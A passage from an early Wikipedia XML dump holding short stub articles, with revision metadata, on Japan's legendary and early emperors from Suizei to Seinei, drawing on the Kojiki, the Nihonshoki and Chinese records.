[[zh:&amp;#24460;&amp;#22291;&amp;#34701;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Suizei</title>
    <id>10442</id>
    <revision>
      <id>41872879</id>
      <timestamp>2006-03-02T07:19:00Z</timestamp>
      <contributor>
        <username>Beetle B.</username>
        <id>108708</id>
      </contributor>
      <minor />
      <comment>Wikified some words</comment>
      <text xml:space="preserve">'''Emperor Suizei''' (綏靖天皇 ''Suizei Tennō'') was the second imperial ruler of [[Japan]] to appear on the traditional [[List of Emperors of Japan|list of emperors]]. 

No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. He was the first one of eight emperors without legend. In ''[[Kojiki]]'' and ''[[Nihonshoki]]'' only his name and genealogy were recorded. His historical existence was traditionally believed and a tomb was attributed to him, but contemporary studies support the view no such person existed. He ruled from the palace of [[Takawoka]] in [[Kadzuraki]].

According to the sources he was a son of [[Emperor Jimmu]]. Soon after he succeeded his father, his brother rebelled against him. 
His [[posthumous name]] literally means &quot;joyfully healthy peace.&quot;

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Jimmu]] | after=[[Emperor Annei]] | years=581 BC-549 BC}}
{{end box}}

{{japan-stub}}
[[Category:Japanese emperors|Suizei]]
[[cs:Suizei]]
[[de:Suizei]]
[[eo:Suizei]]
[[fr:Empereur Suizei]]
[[it:Suizei imperatore del Giappone]]
[[nl:Suizei]]
[[ja:綏靖天皇]]
[[zh:綏靖天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Annei</title>
    <id>10443</id>
    <revision>
      <id>41134230</id>
      <timestamp>2006-02-25T06:46:14Z</timestamp>
      <contributor>
        <username>OrphanBot</username>
        <id>621721</id>
      </contributor>
      <comment>Removing image with no source information.  Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[Image:Annei thumb.jpeg|right|thumb|Meiji era print of Emperor Annei]] --&gt;

'''Emperor Annei''' (安寧天皇　''Annei Tennō'') was the third imperial ruler of [[Japan]] to appear on the traditional [[List of Emperors of Japan|list of emperors]]. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. He was the second one of eight emperors without legend. In ''[[Kojiki]]'' and ''[[Nihonshoki]]'' only his name and genealogy were recorded. The Japanese traditionally accepted his historical existence, and a tomb was attributed to him, but contemporary studies support the view that no such person existed.

His [[posthumous name]] literally means &quot;steady tranquillity.&quot;

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Suizei]] | after=[[Emperor Itoku]] | years=549 BC-511 BC}}
{{end box}}

[[Category:Japanese emperors|Annei]]

[[cs:Annei]]
[[de:Annei]]
[[eo:Annei]]
[[fr:Empereur Annei]]
[[nl:Annei]]
[[ja:&amp;#23433;&amp;#23527;&amp;#22825;&amp;#30343;]]
[[zh:安寧天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Itokuo of Japan</title>
    <id>10444</id>
    <revision>
      <id>21288919</id>
      <timestamp>2005-08-18T13:24:46Z</timestamp>
      <contributor>
        <username>Jefu</username>
        <id>256366</id>
      </contributor>
      <text xml:space="preserve">#redirect [[Emperor Itoku]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Kosho</title>
    <id>10445</id>
    <revision>
      <id>33963156</id>
      <timestamp>2006-01-05T11:27:08Z</timestamp>
      <contributor>
        <username>Vina-iwbot</username>
        <id>727408</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: fr</comment>
      <text xml:space="preserve">[[Image:Kauseu thumb.jpeg|right|thumb|Meiji era print of Emperor Kosho]]

'''Emperor Kōshō''' (孝昭天皇 ''Kōshō Tennō'') was the fifth imperial ruler of [[Japan]] to appear on the traditional [[Emperors of Japan|list of emperors]]. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. He was the fourth one of eight emperors without legend. In ''[[Kojiki]]'' and ''[[Nihonshoki]]'' only his name and genealogy were recorded. His historical existence was believed traditionally and a tomb was attributed to him, but contemporary studies support the view that no such person existed.

His [[posthumous name]] literally means &quot;filial manifestation.&quot;

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Itoku]] | after=[[Emperor Koan|Emperor Kōan]] | years=475 BC-393 BC}}
{{end box}}

[[Category:Japanese emperors|Kosho]]

[[de:Kōshō]]
[[eo:Koŝo]]
[[fr:Empereur Kōshō]]
[[nl:Kosho]]
[[ja:孝昭天皇]]
[[zh:孝昭天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Koan</title>
    <id>10446</id>
    <revision>
      <id>39266602</id>
      <timestamp>2006-02-11T23:45:16Z</timestamp>
      <contributor>
        <username>Jmlk17</username>
        <id>659090</id>
      </contributor>
      <text xml:space="preserve">'''Emperor Kōan''' (孝安天皇 ''Kōan Tennō'') was the sixth imperial ruler of [[Japan]] to appear on the traditional [[Emperors of Japan|list of emperors]]. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. He was the fifth of eight emperors without legend. In ''[[Kojiki]]'' and ''[[Nihonshoki]]'' only his name and genealogy were recorded. The Japanese traditionally accepted his historical existence, and a tomb was attributed to him, but contemporary studies support the view that no such person existed.

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Kosho|Emperor Kōshō]] | after=[[Emperor Korei|Emperor Kōrei]] | years=392 BC-291 BC}}
{{end box}}

[[Category:Japanese emperors|Koan]]

[[de:K&amp;#333;an]]
[[fr:Empereur Koan]]
[[nl:Koan (keizer)]]
[[ja:&amp;#23389;&amp;#23433;&amp;#22825;&amp;#30343;]]
[[zh:孝安天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Korei</title>
    <id>10447</id>
    <revision>
      <id>28980379</id>
      <timestamp>2005-11-22T13:34:23Z</timestamp>
      <contributor>
        <username>Isnow</username>
        <id>180201</id>
      </contributor>
      <minor />
      <comment>+zh</comment>
      <text xml:space="preserve">'''Emperor Kōrei''' (孝霊天皇 ''Kōrei Tennō'') was the seventh [[Emperors of Japan|imperial ruler]] of [[Japan]] to appear on the traditional [[Emperors of Japan|list of emperors]]. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. He was the sixth one of eight emperors without legend. In ''[[Kojiki]]'' and ''[[Nihonshoki]]'' only his name and genealogy were recorded. The Japanese traditionally accepted his historical existence, and a tomb was attributed to him, but contemporary studies support the view that no such person existed.

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Koan|Emperor Kōan]] | after=[[Emperor Kogen|Emperor Kōgen]] | years=290 BC-215 BC}}
{{end box}}

[[Category:Japanese emperors|Korei]]

[[de:Kōrei]]
[[fr:Empereur Korei]]
[[ja:&amp;#23389;&amp;#38666;&amp;#22825;&amp;#30343;]]
[[zh:孝靈天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Kogen</title>
    <id>10448</id>
    <revision>
      <id>28980547</id>
      <timestamp>2005-11-22T13:38:19Z</timestamp>
      <contributor>
        <username>Isnow</username>
        <id>180201</id>
      </contributor>
      <minor />
      <comment>+zh</comment>
      <text xml:space="preserve">'''Emperor Kōgen''' (孝元天皇 ''Kōgen Tennō'') was the eighth [[Emperors of Japan|imperial ruler]] of [[Japan]] to appear on the traditional [[Emperors of Japan|list of emperors]]. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. He was the seventh one of eight emperors without legend. In ''[[Kojiki]]'' and ''[[Nihonshoki]]'' only his name and genealogy were recorded. His historical existence was believed traditionally and a tomb was attributed to him, but contemporary studies support the view that no such person existed.

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Korei|Emperor Kōrei]] | after=[[Emperor Kaika]] | years=214 BC-158 BC}}
{{end box}}

[[Category:Japanese emperors|Kogen]]

[[de:Kōgen]]
[[fr:Empereur Kogen]]
[[ja:&amp;#23389;&amp;#20803;&amp;#22825;&amp;#30343;]]
[[zh:孝元天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Kaika</title>
    <id>10449</id>
    <revision>
      <id>28980623</id>
      <timestamp>2005-11-22T13:40:05Z</timestamp>
      <contributor>
        <username>Isnow</username>
        <id>180201</id>
      </contributor>
      <minor />
      <comment>+zh</comment>
      <text xml:space="preserve">[[Image:NaraKaikaTennoRyo0367.jpg|thumb|right|250px|Tomb, said to be that of Emperor Kaika, [[Nara, Nara|Nara]]]]
'''Emperor Kaika''' (開化天皇 ''Kaika Tennō'') is the ninth [[Emperors of Japan|imperial ruler]] of [[Japan]] to appear on the traditional [[Emperors of Japan|list of emperors]]. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. He was the eighth of eight emperors without legend. In ''[[Kojiki]]'' and ''[[Nihonshoki]]'', only his name and genealogy were recorded. Although his existence was traditionally believed and a tomb was attributed to him, contemporary studies support the view such a person did not exist while some still assume he existed. (Albeit with insufficient materials to prove his existence.)

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Kogen|Emperor Kōgen]] | after=[[Emperor Sujin]] | years=157 BC-98 BC}}
{{end box}}

[[Category:Japanese emperors|Kaika]]

[[de:Kaika]]
[[fr:Empereur Kaika]]
[[ja:&amp;#38283;&amp;#21270;&amp;#22825;&amp;#30343;]]
[[zh:開化天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Sujin</title>
    <id>10450</id>
    <revision>
      <id>41287019</id>
      <timestamp>2006-02-26T08:01:00Z</timestamp>
      <contributor>
        <ip>195.6.68.65</ip>
      </contributor>
      <comment>+fr</comment>
      <text xml:space="preserve">'''Emperor Sujin''' (崇神天皇 ''Sujin Tennō'') was the tenth [[Emperors of Japan|imperial ruler]] of '''[[Japan]]''' to appear on the traditional [[Emperors of Japan|list of emperors]]. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. This does not necessarily imply that no such person ever existed, just that there is insufficient material to assign him to a historical period.

According to ''[[Kojiki]]'' and ''[[Nihonshoki]]'' he was the second son of [[Emperor Kaika]]. He founded some important shrines in [[Yamato province]], sent generals to subdue local provinces and defeated a prince who rebelled against him.

Some historians identify him with the [[Emperor Jimmu]] and consider that the legend attributed to Jimmu was originally based on the life of Sujin. Other scholars assume his legend reflected the switching of dynasties and powers in Yamato province.

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Kaika]] | after=[[Emperor Suinin]] | years=97 BC-30 BC}}
{{end box}}

[[Category:Japanese emperors|Sujin]]

[[de:Sujin]]
[[fr:Sujin]]
[[it:Sujin imperatore del Giappone]]
[[ja:&amp;#23815;&amp;#31070;&amp;#22825;&amp;#30343;]]
[[zh:崇神天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Suinin</title>
    <id>10451</id>
    <revision>
      <id>42122952</id>
      <timestamp>2006-03-03T23:45:35Z</timestamp>
      <contributor>
        <username>Dlohcierekim</username>
        <id>1025532</id>
      </contributor>
      <comment>rv test</comment>
      <text xml:space="preserve">[[Image:SuininTennoRyo.jpg|thumb|right|300px|Grave of Emperor Suinin, [[Nara Prefecture]]]]
'''Emperor Suinin''' (垂仁天皇 ''Suinin Tennō'') was the eleventh [[Emperors of Japan|imperial ruler]] of [[Japan]] to appear on the traditional [[Emperors of Japan|list of emperors]]. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. This does not necessarily imply that no such person ever existed, just that there is insufficient material to assign him to a historical period.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Sujin]] | after=[[Emperor Keiko|Emperor Keikō]] | years=29 BC-AD 70}}
{{end box}}

[[Category:Japanese emperors|Suinin]]

[[de:Suinin]]
[[fr:Suinin]]
[[it:Suinin imperatore del Giappone]]
[[ja:&amp;#22402;&amp;#20161;&amp;#22825;&amp;#30343;]]
[[zh:垂仁天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Keiko</title>
    <id>10452</id>
    <revision>
      <id>41873329</id>
      <timestamp>2006-03-02T07:24:21Z</timestamp>
      <contributor>
        <username>Beetle B.</username>
        <id>108708</id>
      </contributor>
      <minor />
      <comment>Added eras to dates</comment>
      <text xml:space="preserve">'''Emperor Keikō''' (景行天皇 ''Keikō Tennō'') was the twelfth [[Emperors of Japan|imperial ruler]] of [[Japan]] to appear on the traditional [[Emperors of Japan|list of emperors]]. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. This does not necessarily imply that no such person ever existed, just that there is insufficient material to assign him to a historical period.

His legend was recorded in ''[[Kojiki]]'' and ''[[Nihonshoki]]'', but the accounts of him are different in these two sources. In ''Kojiki'' he sent his son [[Yamatotakeru]] to [[Kyushu]] to conquer local tribes. In ''Nihonshoki'' Keikō himself went there and won battles against local tribes. According to both sources, he sent Yamatotakeru to [[Izumo province]] and eastern provinces to conquer the area and spread his territory.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Suinin]] | after=[[Emperor Seimu]] | years=71 CE-130 CE}}
{{end box}}

[[Category:Japanese emperors|Keiko]]

[[de:Keiko (Kaiser)]]
[[it:Keiko imperatore del Giappone]]
[[ja:&amp;#26223;&amp;#34892;&amp;#22825;&amp;#30343;]]
[[zh:景行天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Seimu</title>
    <id>10453</id>
    <revision>
      <id>31351998</id>
      <timestamp>2005-12-14T18:08:33Z</timestamp>
      <contributor>
        <ip>69.196.4.226</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Seimu''' (成務天皇 ''Seimu Tennō'') was the 13th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor&quot;. This does not necessarily imply that no such person ever existed, just that there is insufficient material to assign him to a historical period.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Keiko|Emperor Keikō]] | after=[[Emperor Chuai|Emperor Chūai]] | years=131-191}}
{{end box}}

[[Category:Japanese emperors|Seimu]]

[[de:Seimu]]
[[it:Seimu imperatore del Giappone]]
[[ja:&amp;#25104;&amp;#21209;&amp;#22825;&amp;#30343;]]
[[zh:成務天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Chuai</title>
    <id>10454</id>
    <revision>
      <id>38292768</id>
      <timestamp>2006-02-05T10:21:08Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: de</comment>
      <text xml:space="preserve">'''Emperor Chūai''' (仲哀天皇 ''Chūai Tennō'', fl. late 2nd century?) was [[Emperor of Japan|imperial ruler]] of [[Japan]], the 14th appearing on the traditional [[list of Emperors of Japan|list of emperors]]. No firm date can be assigned to this emperor and he is regarded by historians as a &quot;legendary emperor.&quot; This does not necessarily imply that no such person existed, just that there is insufficient evidence to conclude that he existed or assign him to a particular period of history. However, since he was the father of [[Emperor Ojin]] (who is generally accepted to have been real) in the ''[[Kojiki]]'', he was probably a historical figure.

According to the legend in ''[[Kojiki]]'' and ''[[Nihonshoki]]'', he was a son of Prince [[Yamatotakeru]], therefore a grandson of the [[Emperor Keiko|Emperor Keikō]]. His wife was [[Jingu of Japan|Jingū]].

According to Japanese Legend, his wife was suddenly possessed by unknown [[kami|gods]]. The gods promised him a rich land overseas. Chūai gave a look to the sea, but he could not see anything. He denounced his beliefs in the gods' promise. The gods were enraged and declared he would die and never receive the promised land, but his conveived but unborn son would get it instead. The legend than states that Chūai died soon and his widow, Jingū, conquered the promised land, which is conjectured to be [[Korea]].

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Legendary Emperor of Japan]] | before=[[Emperor Seimu]] | after=''[[Jingu of Japan|Empress Consort Jingū]]'' | years=192-200}}
{{end box}}

[[Category:Japanese emperors|Chuai]]
[[de:Chūai]]
[[fr:Empereur Chūai]]
[[ja:仲哀天皇]]
[[zh:仲哀天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Ojin</title>
    <id>10455</id>
    <revision>
      <id>37375406</id>
      <timestamp>2006-01-30T16:41:14Z</timestamp>
      <contributor>
        <ip>83.208.12.204</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Ōjin''' (応神天皇 ''Ōjin Tennō'') was the 15th imperial ruler of [[Japan]], according to the traditional order of succession. No firm date can be assigned to this emperor.

He is the earliest historical emperor. He has been deified as [[Hachiman|Hachiman Daimyōjin]], regarded as the guardian of warriors. The [[Hata]] Clan considered him their guardian [[Kami]].

According to the ''[[Kojiki]]'' and the ''[[Nihonshoki]]'', Ōjin was the son of the [[Emperor Chuai|Emperor Chūai]] and his consort [[Jingu of Japan|Jingū]]. As Chūai died before Ōjin's birth, his mother Jingū became the de facto ruler. Ōjin was born in [[200]] in [[Tsukushi]] on the return of his mother from the invasion of [[Korea]] and named him '''Prince Hondawake'''. He became the crown prince at the age of four. He was crowned in [[270]] at the age of 70 and reigned for 40 years until his death in [[310]], although none of the dates around his reign have any historical basis. He lived in two palaces both of which are in present day [[Osaka, Japan|Osaka]].

He was recorded as the father of [[Emperor Nintoku]], his successor.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=''[[Jingu of Japan|Empress Consort Jingū]]'' | after=[[Emperor Nintoku]] | years=270-310&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:Japanese emperors|Ojin]]

[[cs:Ódžin]]
[[de:Ōjin]]
[[fr:Empereur Ōjin]]
[[it:Ojin imperatore del Giappone]]
[[nl:Ojin]]
[[ja:応神天皇]]
[[sv:Ojin]]
[[zh:應神天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Nintoku</title>
    <id>10456</id>
    <revision>
      <id>41636036</id>
      <timestamp>2006-02-28T18:14:04Z</timestamp>
      <contributor>
        <username>Eirikr</username>
        <id>188626</id>
      </contributor>
      <comment>&quot;most&quot; -&gt; &quot;some&quot; -- Kofun image note states that many don't think Daisen Kofun is Nintoku's</comment>
      <text xml:space="preserve">[[Image:NintokuTomb.jpg|thumbnail|right|Daisen-Kofun, the tomb of Emperor Nintoku, Osaka]]'''Emperor Nintoku''' (仁徳天皇 ''Nintoku Tennō'') was the 16th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is considered to have ruled the country during the early [[5th century]] CE.

According to ''[[Nihonshoki]]'', he was the fourth son of [[Emperor Ojin|Emperor Ōjin]] and the father of Emperors [[Emperor Richu|Emperor Richū]], [[Emperor Hanzei]], and [[Emperor Ingyo|Emperor Ingyō]]. The book also states that Nintoku ruled from [[313]] till [[399]] but modern research suggests those dates are likely inaccurate.

Scholars identify him with [[King San]] of Japan or [[King Chin]] in the Chinese history book, the [[Book of Song]]. According to the Book of Song, San sent messengers to [[Song Dynasty (420-479)|Song Dynasty]]  [[China]] at least twice in [[421]] and [[425]], and died before [[438]]. Chin was the younger brother of San and sent messengers in 438 to have the Song dynasty assure that his position as the King of Japan was accepted. 

Daisen-[[Kofun]] (the biggest tomb of the world) in [[Sakai, Osaka]] is considered his tomb by some scholars.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Ojin|Emperor Ōjin]] | after=[[Emperor Richu|Emperor Richū]] | years=313-399&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:5th century deaths|Nintoku]]
[[Category:Japanese emperors|Nintoku]]
[[Category:Year of birth missing|Nintoku]]
[[Category:Year of death missing|Nintoku]]

[[cs:Nintoku]]
[[de:Nintoku]]
[[es:Emperador Nintoku]]
[[fr:Nintoku]]
[[ja:仁徳天皇]]
[[zh:仁德天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Richu</title>
    <id>10457</id>
    <revision>
      <id>38480602</id>
      <timestamp>2006-02-06T16:57:11Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Modifying: es</comment>
      <text xml:space="preserve">'''Emperor Richū''' (履中天皇 ''Richū Tennō'') was the 17th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the early [[5th century]] CE.

According to ''[[Nihonshoki]]'' and ''[[Kojiki]]'', he was the first son of [[Emperor Nintoku]]. He succumbed to disease in his sixth year of reign. His tomb is in Kawachi province, in the middle of present-day [[Osaka prefecture]].  He was succeeded by his younger brother [[Emperor Hanzei]]; none of his sons succeeded to the throne, although two grandsons ([[Emperor Kenzo|Emperor Kenzō]] and [[Emperor Ninken]]) did eventually become emperor. 

Some scholars identify him with [[King San]] in the [[Book of Song]]. King San sent messangers to the [[Song Dynasty (420-479)|Song Dynasty]] at least twice in [[421]] and [[425]], died before [[438]] and was succeeded by his younger brother.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Nintoku]] | after=[[Emperor Hanzei]] | years=400-405&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:5th century deaths|Richu]]
[[Category:Japanese emperors|Richu]]
[[cs:Ričú]]
[[de:Richu]]
[[es:Emperador Richū]]
[[it:Richu imperatore del Giappone]]
[[ja:履中天皇]]
[[zh:履中天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Hanzei</title>
    <id>10458</id>
    <revision>
      <id>37252708</id>
      <timestamp>2006-01-29T20:26:47Z</timestamp>
      <contributor>
        <ip>83.208.12.65</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Hanzei''' (反正天皇 ''Hanzei Tennō'') was the 18th [[Emperor of Japan|Emperor]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the early [[5th century]] CE.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Richu|Emperor Richū]] | after=[[Emperor Ingyo|Emperor Ingyō]] | years=406-410&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:5th century deaths|Hanzei]]
[[Category:Japanese emperors|Hanzei]]

[[cs:Hanzei]]
[[de:Hanzei]]
[[it:Hanzei imperatore del Giappone]]
[[ja:&amp;#21453;&amp;#27491;&amp;#22825;&amp;#30343;]]
[[zh:反正天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Ingyo</title>
    <id>10459</id>
    <revision>
      <id>35365549</id>
      <timestamp>2006-01-16T05:52:31Z</timestamp>
      <contributor>
        <username>Jefu</username>
        <id>256366</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Emperor Ingyō''' (允恭天皇 ''Ingyō Tennō'') was the 19th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the mid-[[5th century]] CE.

According to ''[[Kojiki]]'' and ''[[Nihonshoki]]'', he was the 4th son of [[Emperor Nintoku]] and his consort Iwanohime, and therefore a younger brother of his predecessor [[Emperor Hanzei]]. He sat on the throne after Hanzei died and ruled for 41 years. His consort was Oshisaka no Ōnakatsu no Hime. They had five sons and four daughters, including [[Emperor Anko|Emperor Ankō]] and [[Emperor Yuryaku|Emperor Yūryaku]]. He reformed the system of family and clan names, because many named themselves false names using higher ranked clan or family names.

Today scholars identify him with King Sai in the Book of Song, who was a king of Japan (referred to as ''[[Wa (Japan)|Wa]]'' by contemporary Chinese scholars) and sent messengers to the [[Song Dynasty (420-479)|Song Dynasty]] at least twice, in [[443]] and [[451]].

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Hanzei]] | after=[[Emperor Anko|Emperor Ankō]] | years=411-453&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:5th century deaths|Ingyo]]
[[Category:Japanese emperors|Ingyo]]

[[de:Ingyo]]
[[ja:&amp;#20801;&amp;#24685;&amp;#22825;&amp;#30343;]]
[[it:Ingyo imperatore del Giappone]]
[[zh:允恭天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Anko</title>
    <id>10460</id>
    <revision>
      <id>31352919</id>
      <timestamp>2005-12-14T18:15:52Z</timestamp>
      <contributor>
        <ip>69.196.4.226</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Ankō''' (安康天皇 ''Ankō Tennō'') was the 20th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the mid-[[5th century]] CE.

According to ''[[Kojiki]]'' and ''[[Nihonshoki]]'' Ankō was the second son of [[Emperor Ingyo|Emperor Ingyō]]. His elder brother Kinashikaru no Miko (Prince Kinashikaru) was the crown prince, but due to an incestuous relationship with his half-sister, Kinashikaru lost favour with the court. After an aborted attempt to rally troops against Ankō, Kinashikaru (and his half-sister) committed suicide.

Ankō was assassinated in his third year of reign by Mayowa no Ōkimi (Prince Mayowa), in retaliation for the execution of Mayowa's father.

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Ingyo|Emperor Ingyō]] | after=[[Emperor Yuryaku|Emperor Yūryaku]] | years=453-456&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:5th century deaths|Anko]]
[[Category:Japanese emperors|Anko]]

[[de:Anko]]
[[it:Angko imperatore del Giappone]]
[[ja:&amp;#23433;&amp;#24247;&amp;#22825;&amp;#30343;]]
[[zh:安康天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Yuryaku</title>
    <id>10461</id>
    <revision>
      <id>31844097</id>
      <timestamp>2005-12-18T13:17:00Z</timestamp>
      <contributor>
        <username>Jefu</username>
        <id>256366</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Emperor Yūryaku''' (雄略天皇 ''Yūryaku Tennō'') (c. 418 - Seventh Day of the Eight Month of [[479]] ([[Sexagenary cycle|Kibi]]){{an|Japanese_dates1 1}}) was the 21st [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the late [[5th century]] CE. According to the [[Kojiki]] he is said to have ruled from the Thirteenth Day of the Eleventh Month of [[456]] ([[Sexagenary cycle|Heishin]]){{an|Japanese_dates1 1}} until his death on the Seventh Day of the Eight Month of [[479]] ([[Sexagenary cycle|Kibi]]){{an|Japanese_dates1 1}}.

According to ''[[Kojiki]]'' and ''[[Nihonshoki]]'', Yūryaku was named Prince Ohatsuse Wakatake at birth. He was the fifth and youngest son of [[Emperor Ingyo|Emperor Ingyō]]. After his elder brother [[Emperor Anko|Emperor Ankō]] was murdered, he won the struggle against his other brothers and became the new emperor.
He had three wives (including his consort Kusahahatahi) and his successor, Prince Shiraka ([[Emperor Seinei]]), was his son by his wife Katsuragi no Karahime.

Yūryaku is believed to be referred to as ''Bu'' in contemporary Chinese records.  These records state that Bu began his rule before [[477]], was recognized as the ruler of Japan by the [[Song Dynasty (420-479)|Song]], [[Qi Dynasty|Qi]], and [[Liang Dynasty|Liang]] dynasties, and continued his rule through [[502]]. Bu sent messengers to the Song dynasty in 477 and 478.

==Notes==
#All dates are given in the traditional [[lunisolar calendar]] used in Japan until [[1873]].

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Anko|Emperor Ankō]] | after=[[Emperor Seinei]] | years=456-479&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:5th century births|Yuryaku]]
[[Category:5th century deaths|Yuryaku]]
[[Category:Japanese emperors|Yuryaku]]

[[de:Yuryaku]]
[[it:Yuryaku imperatore del Giappone]]
[[ja:&amp;#38596;&amp;#30053;&amp;#22825;&amp;#30343;]]
[[zh:雄略天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Seinei</title>
    <id>10462</id>
    <revision>
      <id>31353105</id>
      <timestamp>2005-12-14T18:17:23Z</timestamp>
      <contributor>
        <ip>69.196.4.226</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Seinei''' (清寧天皇 ''Seinei Tennō'') was the 22nd [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. No firm dates can be assigned to this emperor or to his reign, but he is believed to have ruled the country during the late [[5th century]] CE.

According to ''[[Kojiki]]'' and ''[[Nihonshoki]]'', he was a son of [[Emperor Yuryaku|Emperor Yūryaku]]. His name in birth was ''Shiraka''.  After the death of his father, Seinei won the fight against Prince Hoshikawa, his brother, for the throne and so succeeded his father. He reigned from [[480]] till [[484]].

He had no children which concerned him greatly. However, two grandsons of [[Emperor Richu|Emperor Richū]], [[Emperor Ninken|Prince Oke]] and [[Emperor Kenzo|Prince Woke]], were found and Seinei adopted them as his heirs.

His tomb was made in Kawachi province, which is today in the eastern [[Osaka prefecture]].

{{japan-bio-stub}}

{{start box}}
{{succession box | title=[[List of Emperors of Japan|Emperor of Japan]] | before=[[Emperor Yuryaku|Emperor Yūryaku]] | after=[[Emperor Kenzo|Emperor Kenzō]] | years=480-484&lt;br&gt;''(traditional dates)''}}
{{end box}}

[[Category:5th century births|Seinei]]
[[Category:5th century deaths|Seinei]]
